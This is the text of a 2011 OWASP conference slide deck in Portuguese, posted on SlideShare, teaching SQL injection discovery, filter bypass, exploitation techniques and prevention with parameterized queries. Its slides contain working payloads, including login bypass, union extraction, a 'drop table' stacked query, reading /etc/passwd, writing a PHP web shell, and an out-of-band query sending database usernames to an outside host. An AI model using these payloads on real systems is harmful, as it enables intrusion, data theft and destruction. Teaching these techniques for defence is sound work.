Owasp web app_flaws

1.137 visualizações

Publicada em

OWASP-DF 2011 Web Application Flaws - SQL Injection

Publicada em: Tecnologia
0 comentários
0 gostaram
Estatísticas
Notas
  • Seja o primeiro a comentar

  • Seja a primeira pessoa a gostar disto

Sem downloads
Visualizações
Visualizações totais
1.137
No SlideShare
0
A partir de incorporações
0
Número de incorporações
11
Ações
Compartilhamentos
0
Downloads
27
Comentários
0
Gostaram
0
Incorporações 0
Nenhuma incorporação

Nenhuma nota no slide

Owasp web app_flaws

  1. 1. Web App Flaws SQL Injection David G. Guimarães OWASP/DF/2011 skysbsb[at]gmail.com
  2. 2. David G. Guimarães <ul><ul><li>Pesquisador e consultor independente. </li></ul></ul><ul><ul><li>Analista da área de segurança de rede do Ministério da Saúde. </li></ul></ul><ul><ul><ul><li>Técnico de Infra da área de segurança da Câmara dos Deputados. </li></ul></ul></ul><ul><ul><ul><li>Estagiário de segurança do Centro de Recursos Comp. (CERCOMP) da UFG. </li></ul></ul></ul><ul><ul><li>Colaborador em projetos de software livre/linux - sqlmap. </li></ul></ul><ul><ul><li>LPIC-2, ITILv3, CobiTv4.1, ISO20000, ISO27002 </li></ul></ul><ul><ul><li>Pentester e fuçador nas horas vagas. </li></ul></ul>OWASP
  3. 3. Roteiro <ul><ul><li>Introdução </li></ul></ul><ul><ul><li>Descobrindo falhas </li></ul></ul><ul><ul><li>Análise </li></ul></ul><ul><ul><ul><li>Filtros </li></ul></ul></ul><ul><ul><ul><li>Identificação do SGBD/DBMS </li></ul></ul></ul><ul><ul><ul><li>Localização </li></ul></ul></ul><ul><ul><ul><li>Técnicas </li></ul></ul></ul><ul><ul><li>File Access </li></ul></ul><ul><ul><li>Evitando </li></ul></ul><ul><ul><li>Referências </li></ul></ul>OWASP
  4. 4. Introdução <ul><ul><li>O que é? </li></ul></ul><ul><ul><ul><li>Inserção de códigos SQL através da manipulação de dados de entrada passados ao aplicativo web. </li></ul></ul></ul><ul><ul><li>Como se dá? </li></ul></ul><ul><ul><ul><li>O desenvolvedor é o responsável direto por tornar o código vulnerável. </li></ul></ul></ul><ul><ul><li>Causas </li></ul></ul><ul><ul><ul><li>Desenvolvedor desconhece fatos inerentes a segurança de código, assim como a possibilidade de exploração do mesmo. </li></ul></ul></ul><ul><ul><ul><li>Desenvolvedor conhece fatos inerentes a segurança de código, mas é displicente em tomar medidas preventivas para correção do mesmo. </li></ul></ul></ul><ul><ul><ul><li>Falta de processos definidos relativos a desenvolvimento seguro e auditoria (ISO 2700[1-2]). </li></ul></ul></ul>OWASP
  5. 5. Introdução <ul><ul><li>Exemplo de código vulnerável (formulário de login) </li></ul></ul><ul><ul><ul><li>$query = &quot;select id from usuarios where user='$user' and password='$password'&quot;; </li></ul></ul></ul><ul><ul><ul><li>$usuario = mysql_query($query); </li></ul></ul></ul><ul><ul><ul><li>http://vulnsite.com/admin/login.php? </li></ul></ul></ul><ul><ul><ul><li>user=admin </li></ul></ul></ul><ul><ul><ul><li>&password=' OR '1'='1 </li></ul></ul></ul><ul><li>  </li></ul><ul><ul><li>Query manipulada: </li></ul></ul><ul><ul><ul><li>select id from usuarios where user='admin' and password='' or '1'='1' </li></ul></ul></ul><ul><ul><ul><li>Condição 1=1 sempre verdadeira. Resultado da operação sempre verdadeira. Login realizado. </li></ul></ul></ul>OWASP
  6. 6. Características <ul><ul><li>Não necessita interação do usuário, ao contrário de XSS, Phishing, etc. </li></ul></ul><ul><ul><li>Líder do rank OWASP Top Ten : most critical web application security flaws. </li></ul></ul><ul><ul><li>Sintaxe SQL idêntica ou bastante similar entre todos os SGBD/DBMS. </li></ul></ul><ul><ul><li>Cheat sheets (Lista dos comandos básicos de SQL p/ cada linguagem) </li></ul></ul><ul><ul><li>Fácil de ser encontrada e explorada . </li></ul></ul><ul><ul><li>Possibilidade de acesso ao sistema de arquivos . </li></ul></ul><ul><ul><li>Possibilidade de exploração de vulnerabilidades no SGBD/DBMS . </li></ul></ul><ul><ul><li>Milhões de ferramentas livres /open source para scan, análise e exploração. </li></ul></ul><ul><ul><li>Presente na grande maioria dos sites. </li></ul></ul><ul><ul><li>Mitigado incorretamente (falsa sensação de segurança). </li></ul></ul>OWASP
  7. 7. Cookbook <ul><ul><li>Descobrindo falhas </li></ul></ul><ul><ul><ul><li>Manual (Proxy, Firefox Addons) </li></ul></ul></ul><ul><ul><ul><li>Automatizado (ferramentas de fuzzing) </li></ul></ul></ul><ul><ul><ul><li>Testes básicos </li></ul></ul></ul><ul><ul><li>Análise </li></ul></ul><ul><ul><ul><li>Filtros? (Código de filtro, PHPIDS, WAF, IPS, etc.) </li></ul></ul></ul><ul><ul><ul><li>SGBD/DBMS utilizado (MySQL, Postgree, SQLServer, Oracle, MSAccess) </li></ul></ul></ul><ul><ul><ul><li>Localização da falha na query (where/having, group/order by, etc) </li></ul></ul></ul><ul><ul><ul><li>Técnicas possíveis (union/inband, blind, out-of-band, error, stacked) </li></ul></ul></ul><ul><ul><ul><li>Privilégios permitidos (USAGE, FILE, administrator) </li></ul></ul></ul><ul><ul><li>Extração/Enumeração dos dados </li></ul></ul><ul><ul><ul><li>Databases </li></ul></ul></ul><ul><ul><ul><li>Tabelas </li></ul></ul></ul><ul><ul><ul><li>Colunas </li></ul></ul></ul><ul><ul><ul><li>Linhas </li></ul></ul></ul>OWASP
  8. 8. Descobrindo falhas <ul><ul><li>Forma automatizada </li></ul></ul><ul><ul><ul><li>Ferramentas </li></ul></ul></ul><ul><ul><ul><li>Nessus, w3af, Nikto, Pangolin, Havij, etc. </li></ul></ul></ul><ul><li>  </li></ul><ul><ul><li>Forma manual </li></ul></ul><ul><ul><ul><li>Mapear páginas dinâmicas </li></ul></ul></ul><ul><ul><ul><li>Proxy (webscarab, burp, etc.) </li></ul></ul></ul><ul><ul><ul><li>Firefox Addons (hackbar, Sql Inject me, tamper data, etc.) </li></ul></ul></ul>OWASP
  9. 9. Descobrindo falhas - OWASP Testing Guide <ul><ul><li>Mapeia todo o conteúdo dinâmico do site </li></ul></ul><ul><ul><ul><li>Páginas PHP, ASP, JAVA, etc. </li></ul></ul></ul><ul><ul><ul><li>Campos de formulários </li></ul></ul></ul><ul><ul><li>Testa todos os parâmetros passados aos scripts individualmente.  </li></ul></ul><ul><ul><ul><li>Tenta interferir no resultado da execução do script para gerar erro ou algo que possa identificar que a query foi submetida ao BD. </li></ul></ul></ul><ul><ul><ul><li>Ex: </li></ul></ul></ul><ul><ul><ul><ul><li>http://site.com/cidades.asp?estado=GO (mapeado) </li></ul></ul></ul></ul><ul><ul><ul><ul><li>http://site.com/cidades.asp?estado=GO '  </li></ul></ul></ul></ul><ul><ul><ul><li>Resultado: </li></ul></ul></ul><ul><ul><ul><ul><li>Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''. /cidades.asp, line 113 </li></ul></ul></ul></ul>OWASP
  10. 10. Descobrindo falhas - OWASP Testing Guide <ul><ul><li>Testes básicos para identificação: </li></ul></ul><ul><ul><li>Númerico: noticiaid=30 </li></ul></ul><ul><ul><ul><li>noticiaid=30+5-5 (=) </li></ul></ul></ul><ul><ul><ul><li>noticiaid=30/**/ (=) </li></ul></ul></ul><ul><ul><ul><li>noticiaid=30' (erro) </li></ul></ul></ul><ul><ul><ul><li>noticiaid=30 AND 1=0 (!=) </li></ul></ul></ul><ul><ul><ul><li>noticiaid=-1 (erro) </li></ul></ul></ul><ul><ul><li>String: busca=hd </li></ul></ul><ul><ul><ul><li>busca=hd' (erro) </li></ul></ul></ul><ul><ul><ul><li>busca=hd'-- (= ou ~) </li></ul></ul></ul><ul><ul><ul><li>busca=hd' OR '1'='1 (= ou ~) </li></ul></ul></ul>OWASP
  11. 11. Analisando e burlando filtros <ul><ul><li>Filtros genéricos de remoção/bloqueio baseado em tokens </li></ul></ul><ul><ul><ul><li>Exemplo: </li></ul></ul></ul><ul><ul><ul><ul><li>replace(&quot;union| |select|--|/*|...&quot;, &quot;&quot;); </li></ul></ul></ul></ul><ul><ul><li>Bypass: </li></ul></ul><ul><ul><ul><li>Encoding usando tabela ASCII e hexadecimal </li></ul></ul></ul><ul><ul><ul><ul><li>URLs só podem ser enviadas através da Internet utilizando o conjunto de caracteres ASCII . </li></ul></ul></ul></ul><ul><ul><ul><ul><li>URLs contêm geralmente caracteres fora do conjunto ASCII, que tem de ser convertidos em um formato ASCII válido. </li></ul></ul></ul></ul><ul><ul><ul><ul><li>Encoding de URL substitui caracteres ASCII inseguro com um &quot;%&quot; seguido de dois dígitos hexadecimais. </li></ul></ul></ul></ul><ul><ul><ul><ul><li>Exemplo:  </li></ul></ul></ul></ul><ul><ul><ul><ul><ul><li>union vira %75%6e%69%6f%6e </li></ul></ul></ul></ul></ul>OWASP
  12. 12. Analisando e burlando filtros Tabela ASCII   OWASP
  13. 13. Analisando e burlando filtros <ul><ul><li>Filtros genéricos de remoção/bloqueio baseado em tokens </li></ul></ul><ul><ul><ul><li>Exemplo: </li></ul></ul></ul><ul><ul><ul><ul><li>replace(&quot;union| |select|--|/*|...&quot;, &quot;&quot;); </li></ul></ul></ul></ul><ul><ul><li>Bypass: </li></ul></ul><ul><ul><ul><li>Usar outros caracteres  para separação entre tokens: 'n'(%0A), 't'(%0B), etc </li></ul></ul></ul><ul><ul><ul><li>Exemplo: </li></ul></ul></ul><ul><ul><ul><ul><li>Objetivo: id=1 union select 1,2,3-- </li></ul></ul></ul></ul><ul><ul><ul><ul><li>Bypass: id= 1 %0A unio -- n %0A selec -- t %0A 1,2,3- select - </li></ul></ul></ul></ul><ul><ul><ul><li>Usar caracteres em maiúsculo/minúsculo </li></ul></ul></ul><ul><ul><ul><ul><li>select vira sElEcT </li></ul></ul></ul></ul>OWASP
  14. 14. Analisando e burlando filtros <ul><ul><li>Filtros de tratamento de caracteres SQL especiais </li></ul></ul><ul><ul><ul><li>mysql_real_escape_string/addslashes/etc. </li></ul></ul></ul><ul><ul><ul><ul><li>trata caracteres ', &quot;, /, , x00, adicionando '' antes dos mesmos, sanitizando-os </li></ul></ul></ul></ul><ul><ul><ul><ul><li>Bypass: </li></ul></ul></ul></ul><ul><ul><ul><ul><ul><li>usar a função char() </li></ul></ul></ul></ul></ul><ul><ul><ul><ul><ul><li>Exemplo: </li></ul></ul></ul></ul></ul><ul><ul><ul><ul><ul><li>union select column_name from information_schema.columns where table_name = 'tabela' </li></ul></ul></ul></ul></ul><ul><ul><ul><ul><ul><li>union select column_name from information_schema.columns where table_name = CHAR(116, 97, 98, 101, 108, 97) </li></ul></ul></ul></ul></ul><ul><ul><li>Filtro de tamanho no parâmetro </li></ul></ul><ul><ul><ul><li>Filtra número máximo de bytes do parâmetro </li></ul></ul></ul><ul><ul><ul><li>Utiliza função que corta/bloqueia em X bytes o parâmetro  </li></ul></ul></ul>OWASP
  15. 15. Análise - Identificação do SGBD <ul><ul><li>Necessário para extração dos dados/construção da consulta </li></ul></ul><ul><ul><li>Tokens SQL únicos para cada SGBD </li></ul></ul><ul><li>  </li></ul><ul><ul><li>MySQL </li></ul></ul><ul><ul><ul><li>CONNECTION_ID()=CONNECTION_ID(), USER()=USER(), substring(@@version, 1, 1) </li></ul></ul></ul><ul><ul><li>Oracle </li></ul></ul><ul><ul><ul><li>ROWNUM=ROWNUM, LENGTH(SYSDATE)=LENGTH(SYSDATE) </li></ul></ul></ul><ul><ul><li>MS SQL Server </li></ul></ul><ul><ul><ul><li>BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123), HOST_NAME()=HOST_NAME() </li></ul></ul></ul><ul><ul><li>Postgree SQL </li></ul></ul><ul><ul><ul><li>1::int=1, VERSION()=VERSION() </li></ul></ul></ul>OWASP
  16. 16. Análise - Localização da vulnerabilidade <ul><ul><li>Query inteira </li></ul></ul><ul><ul><ul><li>http://vulnsite.com/script.php? sql =select+id,nome+from+usuarios </li></ul></ul></ul><ul><ul><li>Colunas/Tabelas </li></ul></ul><ul><ul><ul><li>http://vulnsite.com/script.php?colunas=cidade&tabela=estado&nome=brasilia </li></ul></ul></ul><ul><ul><ul><li>$query = &quot;select $colunas from $tabela where nome = ' $nome '&quot;; </li></ul></ul></ul><ul><ul><li>Where/Having </li></ul></ul><ul><ul><ul><li>http://vulnsite.com/script.php?noticiaid=2 </li></ul></ul></ul><ul><ul><ul><li>$query = &quot;select titulo,corpo from noticias where id = $noticiaid &quot;; </li></ul></ul></ul><ul><ul><li>Order/Group By </li></ul></ul><ul><ul><ul><li>http://vulnsite.com/lista.php?ordenar_por=preco </li></ul></ul></ul><ul><ul><ul><li>$query = &quot;select id,nome,preco from produtos order by $ordernar_por &quot;; </li></ul></ul></ul>OWASP
  17. 17. Análise - Localização da vulnerabilidade <ul><ul><li>Limit </li></ul></ul><ul><ul><ul><li>http://vulnsite.com/lista.php?pagina=0&linhas_por_pagina=10 </li></ul></ul></ul><ul><ul><ul><li>$query = &quot;select id,nome,preco from produtos order by preco limit $pagina, $linhas_por_pagina &quot;; </li></ul></ul></ul>OWASP
  18. 18. Análise - Técnicas <ul><ul><li>Union/In-band based </li></ul></ul><ul><ul><ul><li>Resultado parcial ou total da query na página de resposta. </li></ul></ul></ul><ul><ul><ul><li>Resultado depende da lógica do script </li></ul></ul></ul><ul><ul><ul><li>O resultado pode aparecer no cabeçalho </li></ul></ul></ul><ul><ul><ul><ul><li>Cookies, Location, etc. </li></ul></ul></ul></ul><ul><ul><ul><ul><li>Exemplo em ADS: </li></ul></ul></ul></ul><ul><ul><ul><ul><ul><li>http://site.com/ads.php?url=1 </li></ul></ul></ul></ul></ul><ul><ul><ul><ul><ul><li>$query = &quot;select uri from urls where id = $url &quot;; </li></ul></ul></ul></ul></ul><ul><ul><ul><ul><ul><li>$result = mysql_query($query); </li></ul></ul></ul></ul></ul><ul><ul><ul><ul><li>Resposta </li></ul></ul></ul></ul><ul><ul><ul><ul><ul><li>header(&quot;Location: &quot;.mysql_result($result, 1)); </li></ul></ul></ul></ul></ul>OWASP
  19. 19. Análise - Técnicas <ul><ul><li>Union/In-band based </li></ul></ul><ul><ul><ul><li>É necessário a identificação da quantidade de colunas da consulta anterior. </li></ul></ul></ul><ul><ul><ul><li>A união das consultas deve possuir o mesmo número de colunas. </li></ul></ul></ul><ul><ul><ul><li>Uso do order by para descobrir o número de colunas: </li></ul></ul></ul><ul><ul><ul><ul><li>http://vulnsite.com/lista.php?id=3 order by 20 </li></ul></ul></ul></ul><ul><ul><ul><ul><li>ERROR 1054 (42S22): Unknown column ' 20 ' in 'order clause' </li></ul></ul></ul></ul><ul><ul><ul><li>Força bruta com NULL para adivinhar o número de colunas </li></ul></ul></ul><ul><ul><ul><ul><li>id= 3 union select null, null, null# </li></ul></ul></ul></ul><ul><ul><ul><ul><li>ERROR 1222 (21000): The used SELECT statements have a different number of columns </li></ul></ul></ul></ul><ul><ul><ul><li>Exemplo: </li></ul></ul></ul><ul><ul><ul><ul><li>$query = &quot;select nome, telefone from usuarios where id = $id and nome like '%joao%'&quot; </li></ul></ul></ul></ul><ul><ul><ul><ul><li>http://vulnsite.com/users.php? id=3 union all select table_name, table_schema from information_schema.tables # </li></ul></ul></ul></ul>OWASP
  20. 20. Análise - Técnicas <ul><ul><li>Error based </li></ul></ul><ul><ul><ul><li>Baseado na manipulação de mensagens de erro geradas pela aplicação </li></ul></ul></ul><ul><ul><ul><li>Resultado limitado a um número X de caracteres. </li></ul></ul></ul><ul><ul><ul><li>Barulhento (gera mensagens de erro que podem ser armazenadas na máquina) </li></ul></ul></ul><ul><ul><ul><li>Exemplo: </li></ul></ul></ul><ul><ul><ul><ul><li>http://site.com/page.asp?id=1 and 1=convert(int, @@version )-- </li></ul></ul></ul></ul><ul><ul><ul><ul><li>Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value ' Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) Feb 9 2007 22:47:07 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1) ' to data type int. /page.asp, line 9 </li></ul></ul></ul></ul>OWASP
  21. 21. Análise - Técnicas <ul><ul><li>Out-of-band based </li></ul></ul><ul><ul><ul><li>Uso de requisições DNS e HTTP para recuperar dados </li></ul></ul></ul><ul><ul><ul><li>Resultado limitado a uma quantidade X de caracteres </li></ul></ul></ul><ul><ul><ul><li>Exemplo: </li></ul></ul></ul><ul><ul><ul><ul><li>utl_http.request('http://www.foo.com:80/'||( select username from dba_users where rownum=1 )) </li></ul></ul></ul></ul><ul><ul><ul><ul><ul><li>10.1.1.101 - - [08/Aug/2007:10:02:40 +0000] &quot;GET / SYS HTTP/1.1&quot; 404 0 - - </li></ul></ul></ul></ul></ul><ul><ul><ul><ul><li>utl_http.request('http://'||( select user from dual )||'.hacked.dyndns.com') </li></ul></ul></ul></ul><ul><ul><ul><ul><ul><li>Verificar logs do bind/named ou; </li></ul></ul></ul></ul></ul><ul><ul><ul><ul><ul><li>Wireshark/tcpdump na porta 53 do servidor DNS. </li></ul></ul></ul></ul></ul>OWASP
  22. 22. Análise - Técnicas <ul><ul><li>Blind based </li></ul></ul><ul><ul><ul><li>Realiza inúmeras comparações para obtenção da informação </li></ul></ul></ul><ul><ul><ul><li>Muito lento </li></ul></ul></ul><ul><ul><ul><ul><li>Aperfeiçoado usando-se paralelismo (threads) </li></ul></ul></ul></ul><ul><ul><ul><ul><li>Aperfeiçoado usando-se busca binária. </li></ul></ul></ul></ul><ul><ul><ul><li>Exemplo (dump do @@version = 5.1.54-1ubuntu4): </li></ul></ul></ul><ul><ul><ul><ul><li>id=1 and substring(@@version, 1, 1)=5 </li></ul></ul></ul></ul><ul><ul><ul><ul><li>id=1 and substring(@@version, 2, 1)='.' </li></ul></ul></ul></ul>OWASP
  23. 23. Análise - Técnicas <ul><ul><li>Full-blind time based </li></ul></ul><ul><ul><ul><li>Baseada em tempo de resposta </li></ul></ul></ul><ul><ul><ul><li>waitfor delay '0:0:5', sleep(5), etc. </li></ul></ul></ul><ul><ul><ul><li>Mais lenta de todas </li></ul></ul></ul><ul><ul><ul><ul><li>Pode-se utilizar paralelismo </li></ul></ul></ul></ul><ul><ul><ul><ul><li>Pode-se utilizar &quot;heavy queries&quot;: </li></ul></ul></ul></ul><ul><ul><ul><ul><ul><li>BENCHMARK([ SLEEPTIME ]000000,MD5('[RANDSTR]')) </li></ul></ul></ul></ul></ul><ul><ul><ul><li>Pode gerar resultados inválidos/inconsistentes </li></ul></ul></ul><ul><ul><ul><li>Exemplo: </li></ul></ul></ul><ul><ul><ul><ul><li>http://site.com/script.php?id=45;if (SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=USER AND GRANTED_ROLE='DBA')='DBA' waitfor delay '0:0:5'-- </li></ul></ul></ul></ul><ul><ul><ul><ul><li>Dorme 5 segundos caso usuario seja DBA </li></ul></ul></ul></ul>OWASP
  24. 24. Análise - Técnicas <ul><ul><li>Stacked based </li></ul></ul><ul><ul><ul><li>Permite alteração dos dados no BD. UPDATE, DROP, etc. </li></ul></ul></ul><ul><ul><ul><li>Possível somente em algumas tecnologias . </li></ul></ul></ul><ul><ul><ul><li>Pode ser utilizada em conjunto com a técnica baseada em tempo e baseada em erro. </li></ul></ul></ul><ul><ul><ul><li>Exemplo: </li></ul></ul></ul><ul><ul><ul><ul><li>busca=hd'; drop table noticias-- </li></ul></ul></ul></ul><ul><ul><ul><ul><li>busca=hd'; if (substring(@@version, 1, 1)='M') waitfor delay '0:0:5' else select 1;-- </li></ul></ul></ul></ul>OWASP
  25. 25. Análise - File Access <ul><ul><li>Depende do nível de permissão do usuário. </li></ul></ul><ul><ul><li>Permite leitura, escrita e execução de arquivos com a permissão do usuário rodando o DBMS. </li></ul></ul><ul><ul><li>Exemplo: </li></ul></ul><ul><ul><ul><li>Leitura: </li></ul></ul></ul><ul><ul><ul><ul><li>id=1 union select load_file(' /etc/passwd '); </li></ul></ul></ul></ul><ul><ul><ul><li>Escrita: </li></ul></ul></ul><ul><ul><ul><ul><li>id=1 union select &quot; <?php system($cmd); ?> &quot; into outfile ' /var/www/c.php ';-- </li></ul></ul></ul></ul><ul><ul><ul><li>Execução: </li></ul></ul></ul><ul><ul><ul><ul><li>xp_cmdshell('ls') </li></ul></ul></ul></ul><ul><ul><ul><ul><ul><li>Função do MS SQL Server. </li></ul></ul></ul></ul></ul><ul><ul><ul><ul><li>UDF Injection </li></ul></ul></ul></ul><ul><ul><ul><ul><ul><li>Criação e utilização de uma biblioteca a ser carregada pelo DBMS. </li></ul></ul></ul></ul></ul>OWASP
  26. 26. Evitando SQL Injection <ul><ul><li>Solução global: usar consultas/querys parametrizadas </li></ul></ul><ul><ul><li>Exemplo ( Unsafe ) </li></ul></ul><ul><ul><ul><li>$unsafe_variable = $_POST[&quot;user-input&quot;]; </li></ul></ul></ul><ul><ul><ul><li>mysql_query(&quot;select * from users where id = &quot;.$unsafe_variable); </li></ul></ul></ul><ul><li>  </li></ul><ul><ul><li>Exemplo ( Safe ) </li></ul></ul><ul><ul><ul><li>$preparedStatement = $db->prepare('select * from users where id = :id'); </li></ul></ul></ul><ul><ul><ul><li>$preparedStatement->execute(array(':id' => $unsafe_variable)); </li></ul></ul></ul><ul><ul><ul><li>$rows = $preparedStatement->fetchAll(); </li></ul></ul></ul><ul><li>  </li></ul><ul><ul><li>OWASP Enterprise Security API ( ESAPI ) </li></ul></ul><ul><ul><ul><li>American Express, Apache Foundation, Booz Allen Hamilton, Aspect Security, Foundstone(McAfee), The Hartford, Infinite Campus, Lockheed Martin, MITRE, U.S. Navy - SPAWAR, The World Bank, SANS Institute. </li></ul></ul></ul>OWASP
  27. 27. Evitando SQL Injection <ul><ul><li>TRATAR TODAS as possíveis mensagens de erro, configurar tecnologia para não mostrar erros para o usuário. </li></ul></ul><ul><ul><li>Sanitizar/tratar/validar todos os parâmetros recebidos dos usuários. </li></ul></ul><ul><ul><ul><li>Inteiros </li></ul></ul></ul><ul><ul><ul><ul><li>Converter entrada para inteiro (intval()); </li></ul></ul></ul></ul><ul><ul><ul><ul><li>Validar entrada (is_numeric($var)) </li></ul></ul></ul></ul><ul><ul><ul><ul><li>Validar range numérico (números negativos) </li></ul></ul></ul></ul><ul><ul><ul><li>Strings </li></ul></ul></ul><ul><ul><ul><ul><li>Tratar caracteres especiais HTML e SQL (htmlentities($param,ENT_QUOTES)) html, sql, etc.   </li></ul></ul></ul></ul>OWASP
  28. 28. Referências <ul><ul><li>OWASP Broken web application project : https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project </li></ul></ul><ul><ul><li>OWASP Testing Guide : https://www.owasp.org/index.php/OWASP_Testing_Guide_v3_Table_of_Contents </li></ul></ul><ul><ul><li>Ferramentas : sqlsus, sqlmap , pangolin, marathon, bsqli, Havij, sqlninja, etc. </li></ul></ul><ul><ul><li>SQL Injection Cheat Sheets : http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/ </li></ul></ul>OWASP
  29. 29.   DÚVIDAS? OWASP

×